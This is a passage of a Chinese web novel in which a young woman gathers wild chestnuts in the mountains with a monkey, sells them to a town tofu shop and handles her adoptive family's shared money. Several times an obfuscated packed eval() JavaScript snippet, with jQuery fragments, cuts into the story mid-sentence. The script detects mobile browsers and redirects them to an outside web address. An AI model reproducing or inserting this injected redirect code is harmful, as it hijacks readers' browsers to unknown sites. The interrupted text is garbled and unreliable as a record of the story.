于是趁着周婆子不注意,她再次背上竹筐出了院门,还不忘将灶房里的柴刀带上。 等周婆子唤赵榆多声却没人应答时,这才反应过来她准是又一个人进了山。 周婆子见此,自然是免不了一顿大骂。 这是赵榆第二次进深山,相较于昨日些许茫然,这次她稳妥不少。 至少不会再担心猴子跑的太快,从而把她丢下。 一人一猴有了昨日的经历,这次默契不少。 例如赵榆表示要再去梨树那里,连方做出提示动作后,猴子虽磨磨蹭蹭地带她绕了一大圈,但最后好歹是到了地方。 当然,为了投桃报李,赵榆必是要背着一筐梨子跟在它后头满山乱跑。 日头偏西,这次依旧是在同一时间被猴子带下山。 院子里,周谷这会儿正在劈柴。 赵榆一见到他,背上的竹筐都来不及放下,连忙快步过去,问他梨子卖了多少钱。 周谷看见她,憨厚一笑,擦了把汗,就将十斤梨卖了二十文的事说了。 只有二十文?! 赵榆有些失望,但转念一想,只要能换到钱,那她将梨子从山里背出来就是值当的。 钱不多也没事,反正都是赚。 乐呵呵地从周婆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722026|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里接过钱,虽然只有六文,她还是忍不住笑将起来。 继续积攒,冬日一定有袄子穿。 * 次日,因天气阴沉不见太阳,赵榆没再往山里去。 恰好这天周田应承别人的木工活计完成,手里空闲下来,于是打算为赵榆的屋做一扇门。 得知要将那木栏替换下去,赵榆还有些不舍。 日日跨进跨出,瞧着这拦猪的木栏她觉得还挺顺眼。 不过即便习惯了,这门还是要的,否则天一旦冷下来,这屋子都没法住。 因周田腿脚不便,又是在帮她做门,赵榆自然要候在一旁帮忙。 哪怕周田推拒说不用,她还是将跑腿的活计给揽了下来。 听周婶说,周田的这身木匠本事学的不到家,可赵榆看着他一点点的处理木料,觉得很是不错。 手法熟练,做工细致,怪不得他在家都能有人上门找他做活。 赵榆看了眼他削木头的手,又不动声色地瞥了眼他那条空荡荡的裤腿,有些替周田可惜。 模样还算耐看,为人看着脾性和善,又有手艺在身,若是腿脚是全乎的,周婶最用不着操心的儿子合该就是他。 二十六的年岁,却没哪一家愿意将闺女许给他,周婶面上虽不显,可赵榆却多次听到她暗下叹气。 每每听见,赵榆都心头微紧,担心周婶会即刻拍案决定让她给周田做婆娘。 正想着,耳边响起周田清净的声音,一如他给人整洁干爽的印象,“赵小妹,你看这个花纹可还喜欢?” 周田做活有新意,想着赵榆是姑娘家,便想着雕刻些花草在门上。 看着眼前栩栩如生又显得娇艳的荷花荷叶,赵榆当真佩服起他来,“好看的紧,多谢周大哥了。” 门被安上,赵榆进进又出出,站在门前看了一眼又一眼,竟有种破落户发达了的感觉。 尤其门上还被雕刻了好看的花,美好的赵榆都不敢认。 不仅赵榆不敢认,猴子也不敢认。 半夜,赵榆被门外抓挠的动静吵醒,伴随着传进来的还有猴子不知情况的哇哇声。 赵榆瞬间起身,连忙去将门拉开。 “哇哇哇!”这声一听就是带着恼怒,像是不高兴赵榆将它关在外头。 “我给你留了门缝……”哪晓得竟被风给吹关上了。 “哇哇哇!” “.…..好吧,我的错。” “哇哇哇!” 赵榆咬牙,“你还进不进来?”大晚上的乱叫,也不怕将大屋里的人给吵醒。 等它进来后,赵榆将门锁起来,不得不说,有了门后,整个屋子都显得不一样。 莫名让人觉得心安,不似之前空荡荡的门口,还和猪圈是对门,它哼一声,她这边听得可清晰了。 不过关上门后,这屋里是越发的黑,好在猴子的眼睛够亮,像是小灯笼似的,寻着它的方向过去,她总算是安然地上了床。 39. 第三十九章 赵榆几次进山,零零总总从山里背出来六七十斤梨子,足足让她存的钱涨到了五十余文。 虽然梨子能赚钱,可她也不能紧着一棵树霍霍。 这日赵榆照常进山,可她没再往梨树那边去。 九龙村的“九龙”二字,指的便是围着村子的九条大山。 山能用“条”字来形容,足以见得有多纵横磅礴。 就像赵榆站在周家院子里看见的那样,山连着山,交叠缠绕,无首无尾,非一句崇山峻岭可以概括。 赵榆连着多日在山里头走动,看着好似了不得,但若是和她所在的这条大山比,她和猴子只不过才走了巴掌大的地儿。 赵榆想要再往深处走,她也不清楚自己怎会有这般大的胆子,可随着梨子树上的果子越发难摘到,剩余的野梨高高挂在树顶,而她只能站在树下无能为力时,她就不想在这浪费精力。 她该再去深处转转,寻摸更好的东西才对,这个念头在赵榆的脑中出现了一整晚,不断催促着她再去冒险。 顺着这股念头,赵榆将梨树抛在身后,跟着猴子一步步往更深更远的地方去。 在山里走得多了,赵榆没了一开始的晕头转向,渐渐地她似乎也敏锐了一些,对山中的树植不再是睁眼瞎。 不知不觉的,她从“这些树长得都一个样”到能区别出它们的不同。 这感受虽不明显,却让赵榆在山里更加自如起来,至少不会时不时在心里琢磨“这地儿有没有来过”。 就像此刻,她能察觉到自己已经出了猴子圈出的领地。 这片地方她不过是跟着猴子巡视了几次,没有多熟悉,可即便如此,她依旧能浅浅的感受到自己已经走出了这个范围,能模糊的意识到眼前的树木似乎也和领地内的有了些许不同。 这种感受还很浅,但足以让赵榆心中振动。 也不知走了多久,在经历过多次上山,自认为体质已经上升到另一个层次,不想这次赵榆竟又体会到初次的那种疲累。 感受到双腿的酸疼,她这才意识到这趟她们已经走得足够久了。 赵榆打量着四周,这里更加幽静,也更加阴潮。 明明头顶日头高悬,可这处像是被封了口,阳光照射不进来,使得那薄薄的雾气如轻烟一般缠绕在林中,久而不散。 这里的深而幽不是梨树那边能比拟的。 没来这之前,梨树所在即是深山,可当见到这些萦绕的雾气,以及侵进肌肤内的丝丝凉气,她这才恍然,大山的深与浅不是比较来的,而是通过气息。 属于未经人踏足,带着苍凉古朴的气息。 赵榆低头看着脚下的腐叶,缥缈的“浊气”似有似无的钻进鼻尖。 既陌生又带着些熟悉。 这气味她似乎在哪儿闻到过…… 赵榆将视线投向腿边的猴子身上,好像和它身上那股难闻的味道有些相似? 堆积多年的枯枝烂叶以及沉积多年的淤泥相交混的怪味,她在猴子身上闻到过好几回。 也正是这气味,让赵榆怀疑猴子多年不打理皮毛,身上馊了都不知道。 她还曾想着找机会给它洗洗…… 赵榆盯着猴子好一会,心中各种猜测,觉得她这次是不是来到了猴子的老家? 正琢磨着,猴子这时扒着她的腿就要往她肩上爬,一副不愿再赶路的模样。 赵榆只能将它抱起来,然后往身后的竹筐里放。 还是背着吧,它太胖,她肩膀承受不住。 “哇哇!”似乎不情愿。 “让你进筐子已经不错了,别挑三拣四。”赵榆手往后一压,阻止它爬出来。 气味这事赵榆抛在脑后,猴子从深山老林里跑下山也不是什么稀奇的事,老虎都能跑下山吃人,猴子下山撒个欢再正常不过。 赵榆背着猴子继续往前。 经过数年的催发,这里的草藤树荆长势十分野蛮,赵榆一路不停地挥着手里的柴刀,这才走得顺畅一些。 正走着,突然有什么东西砸到她的头顶,然后从她眼前滚落下来。 赵榆想看看这是什么,不曾想一低头,就见地面上铺了一层指甲盖大小的圆果子。 这东西她认识,是板栗的一种,在之前的那个世界,她曾吃过这东西做的豆腐。 粉中带乌的豆腐,嫩而爽口,赵榆很是喜欢。 她记得当地人称这东西为乌栗。 乌栗小而圆,带有凸起的尖顶,呈褐色,十分好认。 在山里头转了大半天,眼下总算找到能吃的东西,赵榆自是不会放过。 将猴子抱出筐子,蹲下身便开始满足地捡起来。 乌栗虽小,可抵不住这片地上铺了一层,没多会儿赵榆便捡满了一筐。 正当她要将竹筐背起来,却发现这属实有些难。乌栗饱满紧实,挨挤着被装满一竹筐,实在太沉。 不得已,赵榆只能舍弃一些。 重新将竹筐背上,赵榆看着被取出的一堆乌栗,忍着不舍转身离开。 因为这次捡完乌栗后没和猴子满山乱转,下山时并不晚,太阳也还未低垂。 可这山是下了,但这方向似乎不对。 赵榆看着眼前明显比九龙村要热闹不少的地方,有些愣神。 这是哪儿? 猴子怎的没把她带去周家? 赵榆缓了缓神打算找人问问,她将竹筐取下藏在草丛里,又叮嘱猴子不要跟着。 她也不晓得外人贪不贪这口猴肉,为了猴子安全,还是不要暴露为好,她手无缚鸡之力,单凭一把柴刀可保护不了它。 然而她的这份好心猴子体会不到,一看她不准它跟着,就开始不安分地嚎叫起来。 “哇哇哇!”看起来都要跳脚了。 赵榆慌张地往四周看了看,还好没人注意到这边,她压低声音,“我这是为你好,你难不成真想进热锅里洗澡?!” “哇哇哇!” 赵榆:…… 无法,猴子不识好歹,她只能带上它。 将筐里的乌栗全倒下来,将猴子抱进去,再采几片树叶挡住筐口,遮掩得差不多了,这才背上竹筐往人群中走去。 赵榆没有冒然找人询问,打量四周,猜测这是一个市集,还是不太繁荣的那种。 三三两两的小贩零散的蹲着自己的货物后头,双眼随着路过的人移动,像是在寻找对自己货物感兴趣的买主。 赵榆选中了一个卖老鸭的摊贩,这是个面容看起来比较慈祥的老伯。 “小姑娘,你是想买我家的鸭子么?” 赵榆一愣,低头看向扎着脚、一只只摆放整齐的老鸭,一旁还摆放着一盆干净的水,估摸着是给它们解渴用的。 这些老麻鸭都不大,没几两肉,像是没吃过一顿饱饭的样子。 但再是消瘦,也不是她能买得起的。 赵榆摇了摇头,不好意思地道:“老伯,我不买鸭。”见对方没有赶她,赵榆这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726035|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才松口气,试探地开口,“我是想向您打听九龙村怎么走?” 原来是问路的,摊贩老头也没不耐烦,笑眯眯地道:“九龙村啊,不远。” 赵榆一喜,等着他告诉自己怎么走。 老头接着道:“你等我再卖一会儿鸭子,我带你去。” 赵榆一噎,“带我去?您老也是九龙村的?” 老头笑呵呵地摇头,“不是。” 赵榆眨了眨眼,怀疑自己选错人了,“我自己回去就行,不用您带,烦劳您给我指个方向,再告知我需多少脚程便好。” …… 一番问答,赵榆可算把消息可问清楚了。 这处是离九龙村不远的小镇,也就是时辰不对,若是赶在大清早的,还能遇上九龙村的人。 至于距离,老伯说了,不远,坐牛车也就两个时辰而已...... 赵榆一口气还没咽下去就又给提了上来。 她得快些将乌栗装上,然后赶路,不然不等她到九龙村,这天就该黑了。 正快步往藏栗子那边走着,在经过一家铺子时,她又有了别的打算。 这是间豆腐铺子,白嫩嫩的豆腐摆在案板上,很是吸引人。 赵榆才刚一走近,铺主头也不抬地问道:“买几块?” 赵榆暗暗打量了一眼他的铺子,没让人久等,问道:“这怎么卖的?” “两文一块,四文三块。” 有些小贵。 赵榆试探地开口问道:“老板,你这卖不卖那种用山板栗做的豆腐?” 铺主抬起头,看向眼前的这小姑娘,“我这只有豆子做的豆腐,你说的那种,没有。” 赵榆听出别的意味来,又继续问道:“山板栗做的豆腐味道不比白豆腐差,老板你若是做来卖,该有不少人来买。” 铺主被她这话说笑了,“我能不知道那种豆腐滋味好?我倒是想做来卖,可上哪儿弄那些板栗?” 这时候有人赶着晚食过来卖豆腐,铺主忙着做生意,不耐烦搭理赵榆。 然而等买豆腐的几人离开后,一抬眼,竟发现她还在这站着,皱了皱眉道:“你到底买不买我家豆腐?” 赵榆没再继续拐弯抹角,直接将她手里有做豆腐的山板栗说了出来。 铺主打量着赵榆,明白了她的意思,“你想将那些板栗卖给我?” 赵榆:“我只是问问,你若是收,价钱合适我自是卖的。” 铺主想了想,问道:“你有多少?” “二十斤左右。” 二十斤?铺主有些惊讶。 做豆腐的板栗难寻,多数都长在大山里,若没几分运气,还真找不着,没想到眼前这姑娘还有这胆量敢进深山寻摸那些玩意儿。 竟然还捡了二十斤! 他这铺子生意一般,豆腐而已,吃个一回两回也就图个新鲜,又不能当饭吃。 加上这豆腐也不便宜,即便有人馋嘴,但一想到自家种的豆子就能磨出来,他们便舍不得花这几文钱。想着拿钱换豆腐,还不如回去吃豆子。 他这铺子一天开下来,能卖出十来块豆腐都算生意不错了,要不是这间铺子是自家的,他早关门不干了。 这时听见这小姑娘手里有做豆腐的山板栗,他很难不心动,这是给铺子新添豆腐种类挽救生意的好机会。 想到这里,铺主压下心切,不动声色道:“你的板栗呢?我得先看看成色,若是不错的话,想我收了也不是不行。” 40. 第四十章 赵榆没说出自己藏乌栗的地方,而是问起了价钱。 “价钱嘛,好说,”铺主伸出三个手指头,“看你一个小姑娘不容易,我出三文一斤收你那些板栗。” 三文。 赵榆也不知道这价合不合适,瞥了眼还在等回应的铺主,突然她眉头一蹙,做出一副不满的样子,“才三文?这也太低了!县城里的可不是你给的这价,起码还要比你高出三文来。” 高出三文那便是六文了。 铺主一听对方喊这么高的价,顿时就有些不高兴了,“小姑娘哪有你这么狮子大开口的!山板栗再难得,那也不是什么山珍海味,你出这么高的价我还怎么做豆腐卖钱?” 他斜了赵榆一眼,那眼神活像她贪他的钱,“我是小本生意,又不是县城的那些酒楼,他们做成吃食卖给食客,可以成倍的喊价,六文的山板栗他们那些大掌柜自然不会介意。” “你瞧瞧上我这买豆腐的都是些什么人?我六文从你这收板栗,那豆腐我得开多少钱才能赚?卖的低了是我亏,卖的高了,那我就成赶客了。” 这铺主说得在理。 小镇不是县城,确切说来,这个镇也就比村子要好些。 看着人多热闹,无非它是连接县城的要道,下面村子的人要想进城,这个镇子必须得经过。 人流量大了,这草市也就形成了,各个家里有什么好东西不愿走远路去县城,也可以退而求其次来这边叫卖。 人多就能赚钱,镇上的本地人自然是不愿放过这个机会,于是纷纷在自家门前也摆个小摊,简易铺子搭起来,小本生意就这么成了。 可生意再怎么好,局限性依然在,招呼的那些客人依旧是山里来的泥腿子,身上能有几个钱? 同样豆子做出来的豆腐,县城能卖三文钱一块,到他这卖两文人家都嫌贵。 从铺主的这番话中,赵榆了解到了不少。 六文钱的山板栗是高价,只有县城的酒楼愿意出钱买,赵榆倒是想把乌栗留着,到时候让周二哥给带到县城去卖。 可她还要趁着太阳没落山赶回九龙村,加上人多眼杂,猴子也得钻进竹筐藏一藏,那二十多斤乌栗就显得有些碍事。 若是换成钱,那就方便太多。 可她即便想要将乌栗换成钱,也不愿意贱卖。 六文虽贵,却也不是没人收,可这铺主一开口就压低了一半,赵榆是如何也不会答应。 你来我往好一番讲价,最后赵榆用那些乌栗换回来了一百文钱。 虽然讲价过程不太愉快,好歹结果还不错。 铺主拨开一颗乌栗,看里头的肉雪白雪白的,也还算满意,见赵榆收了钱压不住喜意的模样,难免有些好奇,“这栗子真是你一个人上山捡的?” 赵榆点头,不过在心里补充道,还有猴子。 铺主咂舌,“你还真有胆量。” 赵榆笑着点头,没胆量她还怎么赚钱,过冬的袄子可不便宜呢。 临走时,铺主不忘口头约下一次生意,“赵小姑娘,若是豆腐卖的好,你再捡到板栗可别忘了往我这儿送上一些。” “好说好说。”赵榆颔首,一副好说话的样子。 眼见着时候不早,赵榆揣着一百文钱外加三块豆腐带着猴子往九龙村赶。 原以为卖掉几十斤重的乌栗,她赶路会快上不少,奈何猴子犯懒,一直蹲在竹筐里不愿出来。 也不看看自己几斤几两,个虽矮却一身肥肉,真真是难为她了。 正在这时,身后传来赶车的动静,两人架着牛车正往这边来。 赵榆倒是想拦下问问能不能稍她一段,可又实在舍不得付那车费。 她往路边让,等这牛车过去。 “赵小妹?” 赵榆一抬头就见车上坐着的正是村长家大儿子王大柱,一喜,“王家大哥!” 既然遇见了熟人,这牛车赵榆是坐上了,她感激地冲着牛车主人一再道谢。 孙林坐在前头赶着牛车,闻言,“赵小妹不必和我客气,我和周禾关系好着呢,你既是他家人,我怎么着也得把你带上。” 赵榆略显心虚地笑了笑,原来是看在周婶三儿子的面子上,只是对方怕不是还不知道自家多出了她这个人。 从交谈中赵榆了解到他们是从县城回来,想趁着农闲找份活干,奈何好些地方不缺人。 孙林叹了口子,“也不是什么活都找不到,只是给的工钱太少了,一天下来只有五文钱,我就是用牛车带客也不止赚这么一点。” 王大柱:“明天在进城找找看,累一些倒无妨,这工钱不能太低了。” 赵榆听着他们的话,想到被猴子坐在屁股底下的一百文,顿时有种身负巨款的紧张感。 赵榆问了一嘴,“那多少的工钱合适?” 王大柱:“帮着做散工,一天十文,外加管一顿饭,就算不错。” 赵榆点点头,心想这乌栗真值钱,决定明天不歇息继续进山捡。 王大柱这时问起赵榆上镇上是做什么? 赵榆也没瞒着,不过说得不详细,只简单解释她从山里捡到些野货,便拿到镇上来换钱。 两人只当她上得是浅山,虽疑惑浅山这时候能有什么野货,但也没多问。 牛车走得可比人快多了,差不多两个时辰,他们到了大河村。 大河村与九龙村相连,时常通过九龙村进山。 若是赵榆没记错,郑婆子的娘家就是这个村的,这还是刘三娘上次告诉她的。 大河村比九龙村大得多,积聚的房屋远不是九龙村十几户人家可比的。 地盘大,人口多,屋子也多是石头垒砌的,瞧着就比九龙村的要好。 周家到现在住的还是土坯房,一大家子人挤一块,属实小的可怜。 赵榆坐在牛车上,随着牛的走动,她将大河村全看在眼里。 这时,牛车突然晃了晃,赵榆差点没坐稳被甩下去,好在身边的王大柱扶了她一下。 等她稳住身,就见车前站着一个脸色发白的姑娘。 庆幸孙林赶在撞上之前迫使牛拐了弯,否则这姑娘哪能好端端地在那站着。 孙林面色不好看,憋不住地恨声问道:“你做什么?!” 这姑娘也是被吓住了,抖着唇,眼泪扑簌簌地往下流,身体不住地后退。 王大柱也认识这姑娘,大河村的芸娘,见她脸色苍白,他和声问她可有受伤。 芸娘没说话,半响只摇了摇头。 赵榆觉得这人有些奇怪,看了眼她垂眼不语的神情,又盯住她的腹部,想了想,好心道:“小嫂子,有孕在身得注意些,万万不能磕碰了。” 这话一出,前一息还敛睫的姑娘,立时抬眼看向她,眼睛睁的大大的,尽显茫然。 王大柱在听后也是一愣,随即连忙提醒道:“赵小妹,芸娘还是个姑娘家,当不得你这声小嫂子。”更别说有孕在身四个字,说不得说不得。 孙林也像是听到什么匪夷所思的笑话,“赵小妹,人家一清清白白的姑娘家,你这话一说,她将来要如何见人?” 啊? …….是吗? 赵榆也是心里一紧,她再次看向女人的腹部,不知是不是她的眼神太专注,女人侧身躲了躲。 赵榆不好再看,虽然那腹部确实有些微凸,但可能是这姑娘刚吃完晚食,还没来得及消化。 她只是出于好心提醒,可没毁人清白的意思。 赵榆暗恼自己不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737761|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该凭感觉就说出那些话来,忙向人家连声表示歉意。 随着女人离开,赵榆以为这事就这么过去了,没想到的是,不久之后这人会挺着一个大肚子找上周家,一口咬定肚里的孩子是周家的孙子,而让她有孕的正是周家老三周禾。 这是后话,眼下赵榆和王大柱下了牛车,正相伴着往九龙村走。 王大柱见赵榆背着竹筐似乎有些吃力,便问一声用不用帮忙。 赵榆忙表示不用,猴子还在里头蹲着呢,可别暴露了。 因小镇离得远,回到周家时天已经昏暗下来。 按往常这时候周家的院门已经关了,但这次还未,想来是为她留的门。 大屋里昏黑一片,油灯贵重,不到必要时候,这灯是舍不得点。 赵榆冲着堂屋唤了一声“周婶”,然而应声是从灶房传出来的,随之而来的还有周婆子的骂声,“你这妮子,胆子是越发的大了,也不怕天黑野兽出窝将你给叼了去!” 从灶屋出来的不止周婆子,还有周老汉和周谷,两人手里拿着刚裹好还未点燃的火把。 赵榆:“.…..周叔周婶,你们这是?” 周老汉见人回来,面上也松了松,只道:“全乎地回来就好。” 周谷也是一脸喜意,憨声道:“赵小妹你可算是回来了,我和爹娘还打算上山去寻你呢。” 赵榆一听,既歉疚又庆幸,还好赶在他们出门前回来,夜晚的山里更加危险,这要是让他们冒险上山,还不知道会发生什么。 赵榆忙道歉,表示自己不该这么晚回来。 见人好端端回来了,周婆子原还堵着的火气也消了不少。 这段时间赵榆几乎日日都上山,空筐子上去满筐子下来,收获颇丰的样子瞧着比那经验深厚的猎户还要适应大山。 虽然满满一筐好东西,周婆子也心动,但再怎么样,这命更加重要。 奈何这丫头是个倔的,不听劝,竹筐一背趁着人不注意就溜进了山。周婆子管不住,只能叮嘱她早些下山,或是带上周谷壮壮胆。 可这越叮嘱,她回来的竟越发的晚了。 在周婆子面无表情的目光下,赵榆再次保证自己会在太阳落山前赶回来,并解释这次回来晚是个意外。 将她原本是早早下得山,但却不想弄错了方向,跑进了镇上这事说了出来。 “好在路上碰见了大柱哥和孙家大哥赶着牛车,我这才能早些回来。” 孙家大哥? 周婆子问道:“是孙林的牛车?” 赵榆点头。 周婆子:“这小子不是个好的,若不是他,我家老三也不会外出走镖。” 嗯? 这…… 那孙大哥不是说他和周禾关系好么?怎么周婶说的似乎是反着来的? 赵榆听在耳里,没多嘴问。 为了让周婆子消火,赵榆想起了竹筐里头的东西,她忙将背筐卸下,从里头摸出一串钱出来,这还是她用草藤随手串的,未免零散的容易丢。 周婆子低头看着手里沉甸甸的一串钱,面上既震惊又复杂。 “……你上哪儿弄这许多钱?” 赵榆将捡着乌栗这事简单一说。 周婆子:“乌栗?你说的是那可以磨成豆腐的野板栗?” 赵榆点头。 周婆子想了想,“这名字倒是贴切,那板栗做成豆腐的确有些发乌。” “原来咱们这山外道也有一棵,估摸着是那些鸟鼠叼过来一粒种子长成的,只是这才生了一次板栗,就被大河村的人不识货给砍了,当时两个村子还闹了一次……” 赵榆听着这往事,也跟着点头,的确不识货,这乌栗可值钱了,六文一斤都卖的出去呢。 41. 第四十一章 漆黑的堂屋少有的被点上油灯,照着人面上泛着黄光。 赵榆坐在桌前,手里捧着一大碗又香又白的米饭,看着周婆子拆了草藤,一个一个的数着铜板。 周家人从各自的屋子出来,全围坐在一旁,因那一串钱比赵榆吃饭好看,没谁关注她,所以这顿她吃得还算安心。 周婆子很快将钱数了出来,整整一百文,看着这些铜板,她免不了又在心里叹了口气。 这榆丫头真是有大本事! 之前大郎去给那修祠堂的财主做工,招工前说的是一天工钱十八,临了坏心眼的又给减去两文,于是一天只能赚得十六文。 周婆子摸了摸这些铜板,这里头得有六个十六文了。 照常从中数出三成来推给赵榆,想了想,又多拿出十文加进去。 对上赵榆不解的眼神,她淡声道:“以后你只需交公六成。” 没等赵榆开口,方春梅就第一个不同意了,“娘,凭啥她比我们少交一成,你不是说要当她是周家人吗,怎么还和我们区分开了?” 周婆子:“你若是和阿榆一样天天能带回来钱,我也能考虑让你们夫妻俩少交一些。” 她目光一斜,看向一脸不忿的方春梅,“一年交上来的还没人家一天赚回来的多,竟然还有脸问‘凭啥’,我都替你躁得慌。” 方春梅又不傻,听出周婆子的意思,这是不让他们占赵榆的便宜呗。 她心里冷笑一声,不依道:“娘你可不能这么说,我们四房虽没赚得多少钱,可至少也没花公中的,真要计较,二房比我们还不如呢!” 大牛那个娘一年到头都是病恹恹的,喝掉的药钱数都数不清。 除了二房,还有周禾,后者可是硬生生让周家外欠十四两。 方春梅有心想说,可碍着周禾那凶悍劲,即便人不在跟前,她也克制着不敢提。 将叶家两兄弟的手脚都给打断了,这换成谁,都得心有忌惮。 方春梅这话一出,周谷憨厚的脸上都暗淡下来,显出几分愧疚,“娘,扈娘的药钱我——” 话没说完,就被周婆子抬手打断,“你媳妇给我周家生了两个孙子,我周家就得拿钱给她治病,还有你方氏,”她看向方春梅,“你也是我儿媳妇,给你看病的钱我也不会吝啬。” 她要看什么病? 方春梅以为周婆子在咒她,不高兴地就要说回去,可刚一张嘴,她就反应过来。 这哪里是在咒她,分明是不满她肚子几年下来一直没个动静,不能给她周家添孙子呢! 方春梅嘴巴立即闭上,脸上讪讪的,不敢再多嘴。 周老汉将喝干的茶叶沫取出吃进嘴里,又将茶碗倒扣上,这才开口道:“公中的钱是大家伙交上来的,没有计较一说,家里头有需要,这钱就得花在刀刃上。” 什么都计较,这家也就散了。 赵榆吃完了一大碗饭,嘴还没来得及擦,就当着周麦泛红光的目光,将四十文拢到自己怀里,话都已经说到这份儿上,她也就不推辞了。 平白多出十文来,赵榆止不住的欣喜,算了算,她存下的钱也有一百文了,离买袄子又近了一步。 想到什么,赵榆忙跑出去,将竹筐拿了进来,当着周婆子的面,从里头取出三块豆腐出来。 周婆子一看,连忙接过,生怕她将豆腐弄碎。 “咋还买了豆腐?花了多少钱?” “四文钱能买三块,不过这些都是那铺主送的,没花我一文钱。”二十多斤的乌栗便宜卖给铺主,她也不能太吃亏,几块豆腐还是能拿的。 说着她又从筐子里头拿出一个竹筒出来,这也是那铺主家的。里头装的是豆脑花,原本用的是陶罐,但那铺主担心赵榆不还给他,便替换成了稍大一些的竹筒。 竹筒便竹筒吧,反正下次她捡的乌栗也不一定再送到他那儿去。 赵榆喊上大牛二牛两人,从灶房取出两个干净的碗,将竹筒里的豆脑花分了分,为了滋味更加,她又和周老汉要了些饴糖融了水后,每个碗里浇了一些,还不嫌麻烦的弄了些花生碎搁里头。 想了想,又从竹筐里摸出一个纸包,里头装的是颜色鲜亮晒干的红枣。 赵榆取出两颗出来,一个碗里放上一颗。 白嫩嫩的豆脑花上点缀一点红,别说,还挺好看。 不仅赵榆满意,大牛二牛两个小的更是激动的不行,扒着桌子垫着脚,水润润的眼睛里喜不自胜。 方春梅还没走,看着桌上两碗被放了红枣的豆脑花,暗暗咽了咽口水,但赵榆还在这站着,她吃不着,于是嘴里开始说酸话,“不过是个豆脑花,弄什么花把式?浪费家里的好东西!” 好东西指的是饴糖和花生。 赵榆才不跟她客气,直言道:“我这怎么是浪费?饴糖还是用的从你床底摸出来的碎渣呢!” 偷藏食物的事情再次被提及,方春梅羞恼,冷哼一声甩手离了堂屋。 贪吃的都走了,赵榆这才放心留下两个小的在这吃豆脑花,她则带上装着红枣的纸包敲响了周谷的门。 屋里的地上有些水渍,是周谷刚给扈娘擦洗完留下的。 扈娘见来人是赵榆,笑得真切,问:“赵小妹……怎的来了?” 赵榆将纸包递过去,“这是些红枣,听说很补血,你干吃或是泡水喝都可以。” 实在是对方没血色的脸给她的印象太深,她原是想给大牛二牛带些吃的,可豆腐铺主给了她豆脑花,倒也用不着她另买,于是她又想到了大牛娘。 不是说红枣补血? 大牛娘每天吃上几颗,即便不养人,也能甜甜泛苦的嘴。 红枣啊,多好的东西! 扈娘看着手里被塞的纸包,里头一片红,心头触动。 可她不能收,这一包红枣不便宜,赵榆哪里有钱买,明明她也很不容易。 “快快收回去,你存的钱……自个儿留着,不要乱花,山里头……凶险的紧,能不去……便不要去了。”说完她长长喘了一口气。 “我钱存着呢,没乱花。”赵榆见她面上疲惫,也不留下多打扰,只道:“这枣子你每天吃上几颗,不要还给我,也不要留给大牛二牛吃,我们都不贪你这一口。”说完就转身出了屋,不给扈娘多说话的机会。 * 第二天一早,吃过早食后,赵榆将还在仰天大睡的猴子装进竹筐,趁着周婶没注意,就快步出了院子。 这次她依旧要去捡乌栗,若是时间还早,她想着把去镇上的山路再走一遍。 她估摸着时间,觉得翻山去镇上要比坐牛车还要快些,具体能快多少,得等到她将山路走顺畅了才能有数。 再次捡满了一筐 () { $(''.inform'').remove(); $(''#content'').append('' 乌栗,赵榆一刻不停的从深山中出来,然后顺着记忆沿着昨日走过的路往小镇的方向过去。 中间几次走岔,费了些时间终于是再次走到了昨日的下山口,草市里头这时依旧是没多少行人,摊贩也没剩多少个,瞧着还是一些昨日的熟面孔。 例如那卖鸭子的老伯。 赵榆没再往草市里头走,而是转身去了豆腐铺子。 一晚上那铺主也该做出一批乌栗豆腐出来,若是价格合适,她还想买一块回去尝尝鲜。 然而,当她瞧见只摆了白豆腐的案板,心下疑惑,“老板,你没将那山板栗做来卖?” 铺主这时候已经准备收摊了,听见声,一见是赵榆就忍不住笑道:“赵小姑娘,可算是把你等到了。” 见她一脸不解的样子,铺主解释道:“怎么可能没做?只是你来晚了,一盆板栗豆腐全给卖光了。” “卖光了?”赵榆见案板上只余两块白豆腐,惊讶道:“你这白豆腐卖的也挺快。” “可不是,我准备的豆腐就只剩这两块了,赶巧你这时候过来,再晚一些我已经关了门,进后院准备明日的豆腐了。” 赵榆看他笑嘻嘻的脸,与昨天不待见人的样子相比,差异甚大,“看来老板今儿个生意不错!” 铺主点头,“托你那些山板栗的福,这新豆腐一出来,引得路过的人都新奇,都愿意花两文钱买上一块尝尝。”遇上兜里还有多的钱的,他们见着旁边的白豆腐也诱人,于是大方地再带走一块,致使他的白豆腐也卖得很不错。 说着,铺主进屋从木盆里捞出他特意留下的一块板栗豆腐,然后用荷叶包好递给赵榆,“这块你拿回去尝尝鲜,”大方地道:“不用给钱。” 